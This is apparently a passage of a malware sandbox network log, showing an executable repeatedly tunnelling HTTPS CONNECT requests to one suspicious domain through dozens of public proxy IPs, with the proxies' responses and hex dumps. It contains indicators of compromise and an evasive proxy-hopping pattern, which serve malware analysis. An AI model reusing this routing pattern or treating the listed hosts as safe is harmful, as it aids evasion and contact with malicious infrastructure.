Mar 11, 2024 15:21:27.137816906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:39.137499094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:51.137537956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:15.137526989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:03.137450933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.9	51062	160.226.237.187	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.926198959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.9	51176	72.210.221.223	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.935450077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.9	50811	64.227.108.25	31908	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.937362909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.9	51171	84.22.45.175	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.958132029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.9	51153	103.190.54.141	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.966393948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.715296984 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.9	50777	117.160.250.134	8899	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.966788054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.708837032 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
321	192.168.2.9	51214	68.1.210.189	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.973937035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.9	51181	3.37.125.76	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.996851921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.312719107 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:03 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.9	51135	47.104.0.12	9090	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.002012968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.950108051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.461791039 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 33 37 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314037"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.9	51210	147.75.34.86	10000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.005304098 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:03.306953907 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.9	51209	147.75.34.85	10007	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.006757021 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:03.310554028 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.9	50087	160.153.245.187	6116	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.018577099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.137727022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.138976097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.138839960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.137815952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.9	50631	162.253.68.97	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.018959045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.9	50043	45.124.184.13	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.020186901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.9	51255	104.25.114.28	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.041915894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.196379900 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.9	51219	94.131.14.66	1081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.055526018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.9	50253	75.89.101.62	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.055816889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.9	51216	185.247.224.85	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.058759928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.9	51224	211.222.252.187	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.065498114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.9	51204	3.108.115.48	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.072948933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.460443020 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:03 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.9	50116	132.148.245.247	60349	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.072992086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.137789011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.138967037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.138843060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.139161110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.9	51194	119.18.149.34	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.094043016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
337	192.168.2.9	51240	61.79.73.225	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.094084978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
338	192.168.2.9	51235	128.140.26.12	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.109570980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.419166088 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.2 Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.9	50192	51.89.173.40	17982	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.112044096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.137824059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.138986111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.138839960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.137846947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:39.137612104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:51.137533903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.9	51252	162.243.102.207	9764	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

